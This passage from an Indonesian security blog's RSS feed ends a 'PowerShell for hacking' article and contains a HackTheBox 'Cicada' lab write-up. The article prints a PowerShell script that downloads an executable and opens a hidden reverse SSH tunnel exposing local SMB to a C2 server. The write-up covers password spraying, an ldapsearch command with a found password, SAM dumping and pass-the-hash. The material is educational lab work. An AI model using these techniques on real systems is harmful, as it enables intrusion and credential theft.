<p>Sama seperti programming pada umumnya, kita bisa mendeklarasikan variable pada powershell disini kita inisialisasi variable seperti ProcessName, tempDir, exePath dan downloadUrl</p>



<pre class="wp-block-code"><code>function IsProcessRunning {
    param (
        &#91;string]$name
    )
    $process = Get-Process | Where-Object { $_.ProcessName -eq $name }
    return $process -ne $null
}

if (-not (IsProcessRunning $processName)) {

    if (-not (Test-Path $exePath)) {
        Write-Host "$exePath Downloading"
        Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath
        Write-Host "Success"
    }
    

    $args = @("-N", "-l", "guest", "-pw", "admin12345", "-R", "1337:localhost:445", "&#91;redacted_host]", "-hostkey", "SHA256:xbI5/Mcj2KrXg3ykreniRYhZUs9IQGb/secret")
    Start-Process -FilePath $exePath -ArgumentList $args -WindowStyle Hidden
    Write-Host "$processName not running, $exePath"
} else {
    Write-Host "$processName running."
}</code></pre>



<p>Pada fungsi IsProcessRunning berguna untuk melakukan filter process dengan 1 argument yang diambil dari variable processName dengan nama microsoft dan selanjutnya ada if statement </p>



<p><strong>if (-not (IsProcessRunning $processName))</strong></p>



<p>Artinya kita identifikasi apakah process microsoft itu running dan jika belum running maka dilakukan komparasi kedua apakah ada file pada $exePath yang dimana variable $exePath merupakan temporary directory dan diikuti dengan nama file yaitu microsoft.exe jika tidak ada maka akan dilakukan download pada url yang mengambil pada variable $downloadUrl dan jika ada maka lanjut pada line berikutnya</p>



<p>Disini ada inisialisasi array pada variable $args yang merupakan argument pada cmdlet dari Start-Process dan diikut dengan argument <strong>-WindowStyle Hidden</strong> yang berarti process akan dilakukan pada background, jadi script ini berfungsi untuk melakukan SSH tunneling dimana pada host local melakukan port forwarding dari 445(smb) ke server c2 dengan port 1337 sehingga login smb pada local computer bisa dilakukan remote pada c2 server dengan port 1337.</p>



<p><strong>Penutup</strong></p>



<p>mungkin itu saja penjelasan fundamental mengenai powershell scripting, yang dimana memang powershell ini sangat usefull terlebih lagi di sisi cybersecurity saat melakukan pentesting/CTF pada windows machine dan semoga artikel ini bermanfaat dan bisa dijadikan refrensi untuk kedepannya.</p>



<p><em>&#8220;Orang bijak belajar ketika mereka bisa. Orang bodoh belajar ketika mereka dipaksa.&#8221;</em> <strong>-Arthur</strong></p>



<p>Refrensi: </p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4</a></p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4</a></p>



<p><a href="https://www.techtarget.com/whatis/definition/cmdlet">https://www.techtarget.com/whatis/definition/cmdlet</a></p>



<p><a href="https://juggernaut-sec.com/autorun-startup-registry-keys">https://juggernaut-sec.com/autorun-startup-registry-keys</a></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>WriteUp Cicada HackTheBox</title>
		<link>https://blog.bhineka-tech.org/2024/10/15/writeup-cicada-hackthebox/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/15/writeup-cicada-hackthebox/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 15 Oct 2024 20:43:01 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=165</guid>

					<description><![CDATA[<p>kali ini kita akan mencoba melakukan solve pada salah satu hackthebox machine dengan judul Cicada jadi let&#8217;s get started. Diberikan suatu IP yaitu 10.10.11.35 langsung kita buka nmap untuk melakukan port enumeration Disini ada beberapa service yang running, dari result banner grabbing ada port 88 yang menunjukkan kerberos karena tantangan ini menggunakan machine dengan OS [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/15/writeup-cicada-hackthebox/">WriteUp Cicada HackTheBox</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>kali ini kita akan mencoba melakukan solve pada salah satu hackthebox machine dengan judul Cicada jadi let&#8217;s get started. </p>



<p>Diberikan suatu IP yaitu <strong>10.10.11.35</strong> langsung kita buka nmap untuk melakukan port enumeration</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="803" height="320" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-15-160652.png" alt="" class="wp-image-168" style="width:838px;height:auto"/></figure>



<p>Disini ada beberapa service yang running, dari result banner grabbing ada port 88 yang menunjukkan kerberos karena tantangan ini menggunakan machine dengan OS windows bisa kita asumsikan jika machine ini menggunakan active directory karena kita melihat protocol LDAP juga terbuka</p>



<p>Mencoba melakukan SMB null session pada port 445</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="322" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-022046.png" alt="" class="wp-image-169"/></figure>



<p>Disini berhasil karena output menampilkan ada beberapa sharename dan kita akan akses sharename yang sekiranya read/write dan setelah dicoba hanya sharename /HR yang dapat kita listing</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="747" height="202" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-022628.png" alt="" class="wp-image-170" style="width:845px;height:auto"/></figure>



<p>ada satu file dengan nama <em>Notice from HR.txt</em> dan lakukan get pada SMB untuk download pada machine local kita </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1338" height="525" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-022820.png" alt="" class="wp-image-171"/></figure>



<p>Terlihat ada string mencurigakan yaitu <strong>Cicada$M6Corpb*@Lp#nZp!8</strong> karena jika kita lihat dari keterangannya bertuliskan <strong>default password</strong></p>



<p>Disini kita akan melakukan user enumeration untuk mengetahui username yang ada pada machine tersebut dengan teknik RID bruteforce menggunakan crackmapexec</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1266" height="533" data-id="173" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-023428.png" alt="" class="wp-image-173"/></figure>
</figure>



<p>Dari output yang ditampilkan banyak sekali user pada machine tersebut, jadi kita bisa mem-filter dari output tersebut untuk kemudian dilakukan password spraying dari string yang kita dapatkan sebelumnya. Pertama kita masukan pada sebuah file result-rid.txt dengan semua output dari crackmapexec</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1263" height="525" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-023759.png" alt="" class="wp-image-174"/></figure>



<p>dan setelah di filter menggunakan beberapa utility dari linux, output terlihat lebih rapi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="951" height="440" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-023951.png" alt="" class="wp-image-175"/></figure>



<p>Dari output yang didapatkan kita bisa menyimpan pada file, dalam kasus ini kita menyimpan pada file user.txt yang nantinya ini berguna untuk user list pada saat melakukan password spraying.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1290" height="165" data-id="176" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-024529.png" alt="" class="wp-image-176"/></figure>
</figure>



<p>Salah satu user dengan username <strong>michael.wrightson</strong> mengindikasikan bahwa credential valid jadi langsung kita coba pada login pada SMB dan mengakses sharename <strong>DEV</strong></p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="497" height="101" data-id="177" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-024749.png" alt="" class="wp-image-177"/></figure>
</figure>



<p>Tapi disini menunjukkan masih <strong>access denied</strong> artinya user tersebut tidak memiliki access listing dan read pada sharename, oke kita coba pada protocol lain yaitu LDAP(ligth weight directory access protocol).</p>



<p>Melakukan enumeration users menggunakan <strong>ldapsearch</strong> dengan command:</p>



<p><strong>ldapsearch -x -H ldap://10.10.11.35 -D &#8216;CICADA\michael.wrightson&#8217; -w &#8216;Cicada$M6Corpb*@Lp#nZp!8&#8217; -b &#8220;CN=Users,DC=cicada,DC=htb&#8221;</strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="704" height="636" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/ldap.png" alt="" class="wp-image-181" style="width:835px;height:auto"/></figure>



<p>Pada user david orelious terdapat description yang menarik, jadi kita coba lagi pada SMB dari credential <strong>david.orelious</strong> yang didapatkan dari LDAP dan mengakses sharename <strong>DEV</strong> </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="636" height="152" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-025624.png" alt="" class="wp-image-182" style="width:840px;height:auto"/></figure>



<p>Nah akhirnya berhasil, dan terdapat file dengan extenstion ps1 yang merupakan powershell script</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="778" height="211" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/ps1.png" alt="" class="wp-image-183" style="width:840px;height:auto"/></figure>



<p>Script-nya sangat sederhana dimana script ini digunakan untuk auto backup dan melakukan kompresi, teatapi lagi-lagi ada hal yang menarik yaitu script ini backup menggunakan user <strong>emily.oscars</strong> dan disana juga terdapat password untuk melakukan authentikasi </p>



<p>Karena ini windows machine kita coba melihat apakah protocol <strong>winrm</strong> pada port <strong>5985</strong>&nbsp;di enable</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="600" height="142" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-030702.png" alt="" class="wp-image-184" style="width:837px;height:auto"/></figure>



<p>Disini port 5985 terbuka, jadi <strong>winrm</strong> sendiri berfungsi untuk melakukan management windows CLI dari jarak jauh atau remote, secara konsep hampir mirip dengan SSH tapi uniknya winrm menggunakan protocol <strong>HTTP</strong>. selanjutnya kita coba login pada winrm menggunakan evil-winrm dari credential <strong>emily.oscars</strong> yang didapatkan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1114" height="417" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/user.png" alt="" class="wp-image-185"/></figure>



<p>Dan disini valid, kita juga berhasil mendapatkan flag untuk user.txt sekarang kita perlu privilege escalation atau meningkatkan hak akses ke Administrator untuk mendapatkan root flag</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="700" height="219" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/backup.png" alt="" class="wp-image-186" style="width:840px;height:auto"/></figure>



<p>Saat mencoba melihat privilege pada user <strong>emily.oscars</strong> menggunakan command <strong>whoami /all</strong>, disitu terlihat jika privilege SeBackupPrivilege diaktifkan artinya user <strong>emily.oscars</strong> mampu melakukan backup data pada system, dimana hal ini berarti user tersebut mempunyai akses READ pada semua file jadi kita bisa memanfaatkan untuk membaca <strong>SAM(Security Account Manager)</strong> yaitu merupakan windows database berisi informasi krusial mengenai account yang ada pada system</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1010" height="257" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-031955.png" alt="" class="wp-image-187"/></figure>



<p>Kita bisa memanfaatkan command <strong>reg query</strong> untuk mendapatkan file sam dan system dari registry lalu kita download pada machine local kita dengan command <strong>download</strong> </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1030" height="410" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-032613.png" alt="" class="wp-image-190"/></figure>



<p>Setelah didapatkan pada machine local kita bisa extract informasi credential menggunakan impacket secretdumps</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1028" height="212" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-16-032758.png" alt="" class="wp-image-191"/></figure>



<p>Terlihat output menunjukkan informasi account dari uid hingga hash dan juga pada informasi kita bisa melihat disitu ada account Administrators. Nah disini tidak ada plain-text password tetapi kita hanya mempunyai hash darisini kita bisa memakai teknik yang dikenal dengan <strong>Pass the Hash</strong> yang merupakan methode authentikasi menggunakan hash bukan plain-text password</p>



<p>Kita dengan mudah menggunakan evil-winrm dengan opsi <strong>-H</strong> di ikuti dengan hash-nya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1231" height="275" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/pass.png" alt="" class="wp-image-192"/></figure>



<p>Disini terlihat kita mendapatkan akses tertinggi yaitu Administrator dan juga kita berhasil mendapatkan root flag </p>



<p><strong>Kesimpulan</strong></p>



<p>Challenge ini sangat menarik dan dari sini kita bisa belajar mengenai beberapa teknik pada windows pentesting serta cara exploitasi, dan yang dipahami dari challenge ini untuk mendapatkan akses ke salah satu server/machine itu tidak selalu harus memerlukan celah seperti CVE ataupun zeroday tapi lebih menekankan ke misconfiguration karena human error itu selalu menjadi masalah utama dalam security. Mungkin itu saja WriteUp kali ini dan selamat belajar.</p>



<p><em>&#8220;Jika Kamu tidak sanggup menahan lelahnya belajar maka kamu harus sanggup menahan perihnya kebodohan”</em> <strong>-Imam Syafi&#8217;i</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/15/writeup-cicada-hackthebox/">WriteUp Cicada HackTheBox</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/15/writeup-cicada-hackthebox/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
